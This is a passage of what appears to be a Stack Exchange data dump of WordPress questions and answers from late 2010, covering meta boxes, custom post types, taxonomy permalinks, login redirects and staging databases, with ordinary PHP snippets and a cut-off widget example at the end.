  <row Id="6048" PostTypeId="2" ParentId="6039" CreationDate="2010-12-28T22:57:52.900" Score="3" ViewCount="" Body="&lt;h1&gt;Do not edit core files.&lt;/h1&gt;&#xA;&#xA;&lt;p&gt;.&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;1.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;Assuming you have a registered a custom post type called biblio, you can add and remove &quot;stuff&quot; within your functions.php.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For instance this removes some meta boxes from 'biblio'&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;function remove_default_page_screen_metaboxes() {&#xA; global $post_type;&#xA;&#xA; remove_meta_box( 'commentstatusdiv','biblio','normal' ); // Comments Metabox&#xA; remove_meta_box('commentsdiv','biblio','normal'); // Comments&#xA; remove_meta_box( 'trackbacksdiv','biblio','normal' ); // Talkback Metabox&#xA; remove_meta_box( 'authordiv','biblio','normal' ); // Author Metabox&#xA;}&#xA;add_action('admin_menu','remove_default_page_screen_metaboxes');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;you can remove and add meta boxes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/add_meta_box&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/add_meta_box&lt;/a&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://codex.wordpress.org/Function_Reference/remove_meta_box&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Function_Reference/remove_meta_box&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Reference of all default meta boxes &lt;a href=&quot;http://wordpress.stackexchange.com/questions/1567/best-collection-of-code-for-your-functions-php-file/1569#1569&quot;&gt;Best Collection of Code for your functions.php file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Read this &lt;a href=&quot;http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;http://justintadlock.com/archives/2010/04/29/custom-post-types-in-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;and this &lt;a href=&quot;http://wptheming.com/2010/08/custom-metabox-for-post-type/&quot; rel=&quot;nofollow&quot;&gt;http://wptheming.com/2010/08/custom-metabox-for-post-type/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;h2&gt;2.&lt;/h2&gt;&#xA;&#xA;&lt;p&gt;By 'bulk edit' what exactly do you want to bulk edit? You screenshot shows what is called custom columns, you can add or remove these using the Wordpress API&#xA;&lt;a href=&quot;http://codex.wordpress.org/Plugin_API/Action_Reference/manage_posts_custom_column&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Plugin_API/Action_Reference/manage_posts_custom_column&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;An example&#xA;&lt;a href=&quot;http://shibashake.com/wordpress-theme/add-admin-columns-in-wordpress&quot; rel=&quot;nofollow&quot;&gt;http://shibashake.com/wordpress-theme/add-admin-columns-in-wordpress&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="1509" LastEditorUserId="1509" LastEditorDisplayName="" LastEditDate="2010-12-28T23:19:26.907" LastActivityDate="2010-12-28T23:19:26.907" CommentCount="2" />
  <row Id="6049" PostTypeId="1" CreationDate="2010-12-28T10:46:36.820" Score="2" ViewCount="285" Body="&lt;p&gt;I'm trying to set up a wordpress site using active directory authentication. &#xA;One question that has come up is the ability to limit category/post/blog reading to specific AD groups.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've never seen this done and I haven't been able to find any plugins that seem to promise this functionality. It would seem that the best option is to just give a bunch of users a role with the read_private_posts capability, but I'm not sure this will do the trick.&lt;/p&gt;&#xA;" OwnerUserId="2252" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T16:29:25.903" LastActivityDate="2011-08-15T15:24:40.637" Title="Active Directory (AD) group authentication to view wordpress posts?" Tags="&lt;single-sign-on&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="1" />
  <row Id="6050" PostTypeId="1" CreationDate="2010-12-28T23:00:07.513" Score="1" ViewCount="249" Body="&lt;p&gt;I've already looked at &lt;a href=&quot;http://wordpress.stackexchange.com/questions/2100/database-synchronization-between-dev-staging-and-production&quot;&gt;this question&lt;/a&gt; and didn't find it too helpful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're using Wordpress as a CMS that also includes a blog/news section.  The blog/news uses WP &quot;posts&quot; and those are made whenever and are j&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We're already using version control for the files, so that's simple enough.  The main issue is the database.  We basically want a selective backup that excludes posts.  Are there any best practices or well tested ways to do this?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm comfortable enough with sql (not specifically MySql, but the dialects are similar enough I'd think) that I could come up with a script to do it, but I'd rather not risk subtle errors if there's already a well-tested solution available.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If there isn't already a solution, are there any caveats or pitfalls I should be aware of when doing this?  Any relevant articles that would be helpful in preparing this?&lt;/p&gt;&#xA;" OwnerUserId="1803" LastActivityDate="2010-12-29T03:29:35.280" Title="Wordpress staging environment that syncs everything except posts?" Tags="&lt;backup&gt;&lt;staging&gt;" AnswerCount="2" FavoriteCount="1" />
  <row Id="6051" PostTypeId="2" ParentId="77" CreationDate="2010-12-29T00:14:24.850" Score="0" ViewCount="" Body="&lt;p&gt;I would also recommend WPTouch bit.ly/iPadTheme which now has great iPad support. There is a basic free version which EAMann mentioned but I would recommend the paid version which is only $39 and has a lot more features. You can then customize the look and feel.  &lt;/p&gt;&#xA;" OwnerUserId="2189" LastActivityDate="2010-12-29T00:14:24.850" />
  <row Id="6052" PostTypeId="2" ParentId="2438" CreationDate="2010-12-29T00:22:11.447" Score="1" ViewCount="" Body="&lt;p&gt;I would also recommend WPTouch (http://bit.ly/iPadTheme) which now has great iPhone, iPad and Android support. There is a basic free version but I would recommend the paid version which is only $39 and has a lot more features. You can then customize the look and feel.  &lt;/p&gt;&#xA;" OwnerUserId="2189" LastActivityDate="2010-12-29T00:22:11.447" />
  <row Id="6053" PostTypeId="2" ParentId="77" CreationDate="2010-12-29T00:28:59.850" Score="-1" ViewCount="" Body="&lt;p&gt;You site is probably already iphone/ipad/android friendly.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;All those phones use native browsers.&lt;/p&gt;&#xA;" OwnerUserId="1509" LastActivityDate="2010-12-29T00:28:59.850" />
  <row Id="6054" PostTypeId="2" ParentId="3071" CreationDate="2010-12-29T00:33:39.770" Score="0" ViewCount="" Body="&lt;p&gt;I assume you are using WordPress 3.0+ then by default any new themes are not enabled for multisite. &lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;You must log in as a Super Admin &lt;/li&gt;&#xA;&lt;li&gt;click on the Themes option in the left.&lt;/li&gt;&#xA;&lt;li&gt;Find your theme and click ON to enable this on other blogs in the network.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Go to WordPress Super Admin &lt;a href=&quot;http://codex.wordpress.org/Super_Admin_Themes_SubPanel&quot; rel=&quot;nofollow&quot;&gt;http://codex.wordpress.org/Super_Admin_Themes_SubPanel&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2189" LastActivityDate="2010-12-29T00:33:39.770" />
  <row Id="6055" PostTypeId="2" ParentId="5868" CreationDate="2010-12-29T00:46:45.287" Score="1" ViewCount="" Body="&lt;p&gt;Check out &lt;a href=&quot;http://Videopress.com&quot; rel=&quot;nofollow&quot;&gt;Videopress.com&lt;/a&gt; which is developed by the creators of Wordpress.&lt;/p&gt;&#xA;" OwnerUserId="2189" LastActivityDate="2010-12-29T00:46:45.287" />
  <row Id="6056" PostTypeId="2" ParentId="6006" CreationDate="2010-12-29T00:54:31.133" Score="1" ViewCount="" Body="&lt;p&gt;Try this WooTheme&#xA; - &lt;a href=&quot;http://demo.woothemes.com/?name=spectrum&quot; rel=&quot;nofollow&quot;&gt;http://demo.woothemes.com/?name=spectrum&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="2189" LastActivityDate="2010-12-29T00:54:31.133" />
  <row Id="6057" PostTypeId="2" ParentId="6050" CreationDate="2010-12-29T01:21:32.133" Score="1" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Davy8:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It's a hard problem to solve. Would this answer be any more helpful?&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;http://wordpress.stackexchange.com/questions/119/#182&quot;&gt;&lt;strong&gt;Easily Move a WordPress Install from Development to Production?&lt;/strong&gt;&lt;/a&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;I know it's not a perfect solution, but it is a start.&lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. I'm working with some others to solve the bigger problem with a plan to release as part of a GPL-licensed product. We are looking for people who have this need to help us define the requirements. If you are interested in detailing your specific needs and letting me or others ask you some more detailed questions please contact me via the email in my profile. We just don't want to build something and then find out it's not what people want or need.&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-29T01:21:32.133" CommentCount="2" />
  <row Id="6058" PostTypeId="2" ParentId="6042" CreationDate="2010-12-29T01:51:44.413" Score="0" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Scott B:&lt;/strong&gt; &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Your example doesn't work for me when I use &lt;code&gt;if (is_home())&lt;/code&gt; but does when I use &lt;code&gt;if (is_front_page())&lt;/code&gt;. Is there any chance that is the problem?  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other than that it seems to work fine on my WordPress v3.0.3 install. Do you have other plugins that might be disabling the output of &lt;code&gt;wp_list_categories()&lt;/code&gt;? &lt;/p&gt;&#xA;&#xA;&#xA;&#xA;&#xA;&#xA;&lt;p&gt;P.S. I'm assuming you are using &lt;code&gt;add_action( 'init','cb_category_listing');&lt;/code&gt; just for debugging and not as part of your plugin?&lt;/p&gt;&#xA;" OwnerUserId="89" LastActivityDate="2010-12-29T01:51:44.413" />
  <row Id="6059" PostTypeId="2" ParentId="6045" CreationDate="2010-12-29T02:04:52.643" Score="2" ViewCount="" Body="&lt;p&gt;Hi &lt;strong&gt;@Spencer B.&lt;/strong&gt;:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Funny, my client submitted a bug ticket for the events modules I wrote for this very issue the other day, and I just fixed it a few hours ago. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that &lt;strong&gt;my example uses a Custom Post Type of &lt;code&gt;'event'&lt;/code&gt;&lt;/strong&gt; which is very useful to be able to  differentiate logic for Events distinct from Posts. &lt;strong&gt;If you must use regular Posts&lt;/strong&gt; you'll need to somehow identify the required logic what makes the pages that list Posts different from your page that lists Events.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;You'll need to &lt;strong&gt;use the &lt;code&gt;'posts_where'&lt;/code&gt; hook to filter out the Events whose dates are earlier than 24 hours ago&lt;/strong&gt;. The hook function below tests to see if the query is for &lt;code&gt;post_type='event'&lt;/code&gt;; if so it modifies the query to add a criteria to the SQL &lt;code&gt;WHERE&lt;/code&gt; clause.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you save a WordPress &lt;strong&gt;checks to see if it is a future date, and if so sets the &lt;code&gt;post_status='future'&lt;/code&gt; rather than &lt;code&gt;'publish'&lt;/code&gt;; you need to correct that&lt;/strong&gt;. You can use the &lt;code&gt;'wp_insert_post_data'&lt;/code&gt; hook to reset to &lt;code&gt;'publish'&lt;/code&gt; if WordPress has set to &lt;code&gt;'future'&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What follows is a class to encapsulate this logic, which you can copy into your theme's &lt;code&gt;functions.php&lt;/code&gt; file:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class Display_Future_Events {&#xA;  static function on_load() {&#xA;    add_filter('posts_where',array(__CLASS__,'posts_where'),10,2);&#xA;    add_action('wp_insert_post_data', array(__CLASS__,'wp_insert_post_data'),10,2);&#xA;    add_action('init', array(__CLASS__,'init'));&#xA;  }&#xA;  static function posts_where($where,$query) {&#xA;    if (self::is_event_list($query)) {&#xA;      global $wpdb;&#xA;      $yesterday = date('Y-m-d H:i:s',time()-(24*60*60));&#xA;      $where .= $wpdb-&amp;gt;prepare(&quot; AND post_date&amp;gt;'%s' &quot;,$yesterday);&#xA;    }&#xA;    return $where;&#xA;  }&#xA;  static function is_event_list($query) { &#xA;    // Logic here might need to be fine-tuned for your use-case&#xA;    if (is_string($query-&amp;gt;query))&#xA;      parse_str($query-&amp;gt;query,$args); &#xA;    else&#xA;      $args = $query-&amp;gt;query;&#xA;    return isset($args['post_type'])=='event';&#xA;  }&#xA;  static function wp_insert_post_data($data,$postarr) {&#xA;    if ($data['post_type']=='event' &amp;amp;&amp;amp; // Will need more logic here for post_type='post'&#xA;      $postarr['post_status']=='publish' &amp;amp;&amp;amp;&#xA;      $data['post_status']=='future')&#xA;        $data['post_status'] = 'publish';&#xA;&#xA;    return $data;&#xA;  }&#xA;  static function init() {&#xA;    register_post_type('event',&#xA;      array(&#xA;        'labels'          =&amp;gt; self::make_labels('Event'),&#xA;        'public'          =&amp;gt; true,&#xA;        'show_ui'         =&amp;gt; true,&#xA;        'query_var'       =&amp;gt; 'event',&#xA;        'rewrite'         =&amp;gt; array('slug' =&amp;gt; 'events'),&#xA;        'hierarchical'    =&amp;gt; true,&#xA;        'supports'        =&amp;gt; array('title','editor','custom-fields'),&#xA;        /*&#xA;         See more 'supports' options at&#xA;          http://codex.wordpress.org/Function_Reference/register_post_type&#xA;        */&#xA;      )&#xA;    );&#xA;  }&#xA;  static function make_labels($singular,$plural=false,$args=array()) {&#xA;    if ($plural===false)&#xA;      $plural = $singular . 's';&#xA;    elseif ($plural===true)&#xA;      $plural = $singular;&#xA;    $defaults = array(&#xA;      'name'               =&amp;gt;_x($plural,'post type general name'),&#xA;      'singular_name'      =&amp;gt;_x($singular,'post type singular name'),&#xA;      'add_new'            =&amp;gt;_x('Add New',$singular),&#xA;      'add_new_item'       =&amp;gt;__(&quot;Add New $singular&quot;),&#xA;      'edit_item'          =&amp;gt;__(&quot;Edit $singular&quot;),&#xA;      'new_item'           =&amp;gt;__(&quot;New $singular&quot;),&#xA;      'view_item'          =&amp;gt;__(&quot;View $singular&quot;),&#xA;      'search_items'       =&amp;gt;__(&quot;Search $plural&quot;),&#xA;      'not_found'          =&amp;gt;__(&quot;No $plural Found&quot;),&#xA;      'not_found_in_trash' =&amp;gt;__(&quot;No $plural Found in Trash&quot;),&#xA;      'parent_item_colon'  =&amp;gt;'',&#xA;    );&#xA;    return wp_parse_args($args,$defaults);&#xA;  }&#xA;}&#xA;Display_Future_Events::on_load();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="89" LastEditorDisplayName="" LastEditDate="2010-12-29T03:13:50.910" LastActivityDate="2010-12-29T03:13:50.910" CommentCount="4" />
  <row Id="6060" PostTypeId="2" ParentId="6049" CreationDate="2010-12-29T02:59:18.047" Score="0" ViewCount="" Body="&lt;p&gt;The Role System in Wordpress is somehow limited, so don't expect it to do the job. Especially not while you're combining it with some other structure of account information that might be organized orthogonally against core WP data-structures.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I would start with the authentication part first and when sign-on is working to see what and where to limit content access (as long as this is for reading only as you asked for it).&lt;/p&gt;&#xA;" OwnerUserId="178" LastActivityDate="2010-12-29T02:59:18.047" />
  <row Id="6061" PostTypeId="2" ParentId="6050" CreationDate="2010-12-29T03:29:35.280" Score="1" ViewCount="" Body="&lt;p&gt;You might want to look at &lt;a href=&quot;http://dev.mysql.com/doc/refman/5.5/en/mysqldump.html&quot; rel=&quot;nofollow&quot;&gt;mysqldump&lt;/a&gt;. I haven't used it so I can't vouch for ease-of-use, but it's a mysql utility for copying DBs, and it has an &quot;ignore-table&quot; option that lets you skip tables.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another approach might be to copy the DB in full, but have a script that runs immediately after the backup that cleans out the post table.&lt;/p&gt;&#xA;" OwnerUserId="1537" LastActivityDate="2010-12-29T03:29:35.280" CommentCount="1" />
  <row Id="6063" PostTypeId="1" CreationDate="2010-12-28T10:53:19.777" Score="0" ViewCount="221" Body="&lt;p&gt;I use .htaccess to redirect requests to my (new) domain to another domain hosted on different server. The file contains:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Options +FollowSymlinks&#xA;RewriteEngine on&#xA;RewriteBase /&#xA;RewriteCond %{HTTP_HOST} ^(www\.)?amazon40\.com [NC]&#xA;RewriteRule ^(.*)$ http://steamsigs.com/amazon40/$1 [R=301,L]&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The redirection works fine. The home page is redirected to steamsigs.com/amazon40 and wordpress login page shows up correctly (steamsigs.com/amazon40/wp-login.php). But the acutual login process doesn't work. It does not show the control panel and keeps on redirecting to the login page. Could be that something's interfering with the GET/POST vars but I'm not sure about this.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd appreciate any your help to resolve this.&lt;/p&gt;&#xA;" OwnerUserId="2250" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-16T08:36:54.957" LastActivityDate="2011-02-16T08:36:54.957" Title="Wordpress login fail after .htaccess domain redirect" Tags="&lt;htaccess&gt;" AnswerCount="1" CommentCount="1" />
  <row Id="6064" PostTypeId="2" ParentId="6042" CreationDate="2010-12-29T07:57:18.830" Score="1" ViewCount="" Body="&lt;p&gt;You should add argument &lt;code&gt;echo&lt;/code&gt; to get returned html string of &lt;code&gt;wp_list_categories&lt;/code&gt;, instead of displaying it:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$cat_args['echo'] = 0;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2051" LastActivityDate="2010-12-29T07:57:18.830" />
  <row Id="6065" PostTypeId="2" ParentId="6063" CreationDate="2010-12-29T08:09:26.227" Score="2" ViewCount="" Body="&lt;p&gt;Did you also &lt;a href=&quot;http://wordpress.stackexchange.com/questions/5915/recover-wordpress-blog-from-an-inactive-domain-name/5947#5947&quot;&gt;change the site URL in the settings&lt;/a&gt;? WordPress needs correct settings for these, otherwise the login page on &lt;code&gt;steamsigs.com&lt;/code&gt; will still do the post to &lt;code&gt;amazon40.com&lt;/code&gt; and you'll never get the correct cookies set.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-29T08:09:26.227" CommentCount="1" />
  <row Id="6066" PostTypeId="1" AcceptedAnswerId="6069" CreationDate="2010-12-29T08:11:35.580" Score="0" ViewCount="550" Body="&lt;p&gt;I made a custom post type and a custom taxonomy, but I have a problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When I access the url &lt;code&gt;http://www.ithemes.co.kr/?shopcat=galaxy-s&lt;/code&gt;, it works well. But when I access the url &lt;code&gt;http://www.ithemes.co.kr/?shopcat=5&lt;/code&gt;, it returns a 404 page. &lt;code&gt;galaxy-s&lt;/code&gt; is the taxonomy term slug, but I want to access it by &lt;code&gt;term_id&lt;/code&gt;, like you can with a category: &lt;code&gt;cat=1&lt;/code&gt;. I prefer &lt;code&gt;cat=1&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What can I do?&lt;/p&gt;&#xA;" OwnerUserId="2192" LastEditorUserId="8" LastEditorDisplayName="" LastEditDate="2010-12-29T09:36:03.823" LastActivityDate="2010-12-29T09:57:10.270" Title="Query custom taxonomy by term id?" Tags="&lt;custom-taxonomy&gt;&lt;permalinks&gt;&lt;wp-query&gt;&lt;url-rewriting&gt;" AnswerCount="1" FavoriteCount="1" />
  <row Id="6067" PostTypeId="1" AcceptedAnswerId="8686" CreationDate="2010-12-29T08:54:33.333" Score="0" ViewCount="350" Body="&lt;p&gt;I'll try to make this as clear as possible.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm am trying to figure out a few things to clean up the permalinks on a large website project.  We're using custom post types and ~200+ custom categories (we chose this because you can really add a lot of custom field spaces and data easily with the new custom post types).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We need our permalinks to look like this:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/books/adventure/post-name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;where &quot;books&quot; and &quot;adventure&quot; are both categories, but we would prefer &quot;books&quot; came first.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;We would create adventure as a sub-category of books, but we use this same category for&lt;br&gt;&#xA;adventure movies, adventure games, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So a large site with books, movies, games, etc. where a person first chooses one of those categories and then drills down deeper to adventure, romance, kids, etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Right now, we have:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/main-category/books&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/sub-category/adventure&lt;/p&gt;&#xA;&#xA;&lt;p&gt;example.com/product/post-name&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically I need to:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Remove the slugs from the custom type categories (i.e. main-category &amp;amp; sub-category)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Make the &quot;sub-category&quot; appear after the &quot;main-category&quot; for the permalinks for sub-category pages.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Create a new dynamic base category for the custom posts, which reflects the categories it's in (/books/adventures/post-name).&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Do this as simply and clean as possible, without a lot of plugins or things that may cause trouble down the line.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;OR...if you have a much better way to do this, I'm open to any suggestions.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I know that we can use a Wordpress Network install instead of main-categories, but with 50-100+ of them, that is not feasible for us.&lt;/p&gt;&#xA;" OwnerUserId="2194" LastEditorUserId="205" LastEditorDisplayName="" LastEditDate="2011-03-08T18:52:30.563" LastActivityDate="2011-06-07T06:58:33.687" Title="Remove slug from Custom Category Permalink + dual-category permalinks" Tags="&lt;custom-post-types&gt;&lt;categories&gt;&lt;custom-taxonomy&gt;&lt;permalinks&gt;" AnswerCount="1" CommentCount="2" FavoriteCount="0" />
  <row Id="6069" PostTypeId="2" ParentId="6066" CreationDate="2010-12-29T09:57:10.270" Score="3" ViewCount="" Body="&lt;p&gt;This is not supported by default, but you can convert the numeric terms back to slugs with the &lt;code&gt;pre_get_posts&lt;/code&gt; hook. I tested this with WP 3.0.1, but in 3.1 the taxonomy query handling changed, so I don't know whether this will work by default or if there is a better way to do it.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_action( 'pre_get_posts', 'wpse6066_pre_get_posts' );&#xA;function wpse6066_pre_get_posts( &amp;amp;$wp_query )&#xA;{&#xA;    if ( $wp_query-&amp;gt;is_tax ) {&#xA;        if ( is_numeric( $wp_query-&amp;gt;get( 'term' ) ) ) {&#xA;            // Convert numberic terms to term slugs&#xA;            $term = get_term_by( 'term_id', $wp_query-&amp;gt;get( 'term' ), $wp_query-&amp;gt;get( 'taxonomy' ) );&#xA;            if ( $term ) {&#xA;                $wp_query-&amp;gt;set( 'term', $term-&amp;gt;slug );&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Bizarre that you prefer the numeric version, many would choose the term slug for SEO reasons.&lt;/p&gt;&#xA;" OwnerUserId="8" LastActivityDate="2010-12-29T09:57:10.270" CommentCount="2" />
  <row Id="6070" PostTypeId="1" CreationDate="2010-12-29T10:28:20.730" Score="0" ViewCount="129" Body="&lt;p&gt;I know there are many multilanguage plugins out there but I need to be able to translate custom fields. I'm using the &lt;a href=&quot;http://wordpress.org/extend/plugins/more-fields/&quot; rel=&quot;nofollow&quot;&gt;More Fields (Wordpress Plugin)&lt;/a&gt; to make new meta boxes. How would i go about putting a string in the url to complete the language code part of the variable?&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php meta('video_description_en'); ?&amp;gt; &#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1925" LastEditorUserId="178" LastEditorDisplayName="" LastEditDate="2011-02-06T16:41:10.090" LastActivityDate="2011-02-06T16:41:10.090" Title="Completing a custom field name with query string for multilingual content?" Tags="&lt;query-posts&gt;&lt;metabox&gt;&lt;multi-language&gt;&lt;plugin-more-fields&gt;" CommentCount="3" />
  <row Id="6071" PostTypeId="1" AcceptedAnswerId="6075" CreationDate="2010-12-29T10:36:06.873" Score="1" ViewCount="387" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;is it possible to bring custom&#xA;  taxonomies to permalink?&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;currently my permalink is looking&#xA;  something like this &#xA;  &lt;code&gt;/%postname%/%category%&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;but i also want to add custom&#xA;  taxonomies to my permalink so it&#xA;  should look something like this&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;&lt;code&gt;/%postname%/%category%/%location%/%mba_courses%&lt;/code&gt;&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;is this possible?&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;the solution to this answer i found, i googled and i found this code, which works perfetc for me&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;add_filter('post_link', 'mba_courses_permalink', 10, 3);&#xA;add_filter('post_type_link', 'mba_courses_permalink', 10, 3);&#xA;&#xA;function mba_courses_permalink($permalink, $post_id, $leavename) {&#xA;    if (strpos($permalink, '%mba_courses%') === FALSE) return $permalink;&#xA;&#xA;        // Get post&#xA;        $post = get_post($post_id);&#xA;        if (!$post) return $permalink;&#xA;&#xA;        // Get taxonomy terms&#xA;        $terms = wp_get_object_terms($post-&amp;gt;ID, 'mba_courses'); &#xA;        if (!is_wp_error($terms) &amp;amp;&amp;amp; !empty($terms) &amp;amp;&amp;amp; is_object($terms[0])) $taxonomy_slug = $terms[0]-&amp;gt;slug;&#xA;        else $taxonomy_slug = 'mba_courses';&#xA;&#xA;    return str_replace('%mba_courses%', $taxonomy_slug, $permalink);&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but now i have one more problem, when i google my website i get the old url structure link, when i click on that i get 404 error, where as the post is still inside the website, just the url has changed, so how can i make the old url to direct it to new url&#xA;i mean if clicking on the old url and instead of redirecting to 404 page, can it redirect to the actual post where i have the new url?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;is this possible?&lt;/p&gt;&#xA;" OwnerUserId="1743" LastEditorUserId="1743" LastEditorDisplayName="" LastEditDate="2010-12-29T12:00:04.323" LastActivityDate="2011-01-17T19:38:22.077" Title="custom taxonomies on permalink" Tags="&lt;custom-taxonomy&gt;&lt;permalinks&gt;" AnswerCount="2" CommentCount="1" FavoriteCount="2" />
  <row Id="6072" PostTypeId="1" CreationDate="2010-12-29T10:39:19.203" Score="1" ViewCount="182" Body="&lt;p&gt;Does anyone know the logic on how to do the following:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have a login section with a password field only on the index, so the user enter the password and submit. Upon submission, I was hoping if the password entered can match with the passwords of the existing protected pages. Once there's a single match, the user will be redirected to that password protected page as login successful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do u think it's possible..? I need some hope here, thanks!&lt;/p&gt;&#xA;" OwnerUserId="2195" LastActivityDate="2011-01-28T13:17:43.547" Title="Login using the password from protected pages" Tags="&lt;functions&gt;&lt;login&gt;&lt;password&gt;" AnswerCount="1" CommentCount="1" FavoriteCount="0" />
  <row Id="6073" PostTypeId="2" ParentId="5394" CreationDate="2010-12-29T11:00:34.620" Score="3" ViewCount="" Body="&lt;p&gt;This is a simple conversion of the Taxonomy terms list plugin to a widget:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class WPSE_5394_Widget extends WP_Widget&#xA;{&#xA;    public function __construct()&#xA;    {&#xA;        parent::__construct( 'wpse5394_widget', 'Taxonomy Terms List' );&#xA;    }&#xA;&#xA;    public function widget( $sidebar_args, $widget_options )&#xA;    {&#xA;        if ( ! is_single() ) {&#xA;            // I don't think we can display anything sensible on a page with multiple posts&#xA;            return;&#xA;        }&#xA;&#xA;        $output = $sidebar_args['before_widget'];&#xA;&#xA;        // If we want to use this we should provide a way to set the title&#xA;        if ( ! empty( $widget_options['title'] ) ) {&#xA;            $output = $sidebar_args['before_title'] . $widget_options['title'] . $sidebar_args['after_title'];&#xA;        }&#xA;&#xA;        // This is the meat of the function: get the taxonomies we want to display, and get the terms for each taxonomy&#xA;        $taxonomy_names = apply_filters( 'wpse5394_taxonomies', array_fill_keys( get_taxonomies(), true ) );&#xA;        $taxonomy_terms = '';&#xA;&#xA;        foreach ( $taxonomy_names as $taxonomy_name =&amp;gt; $dummy ) {&#xA;            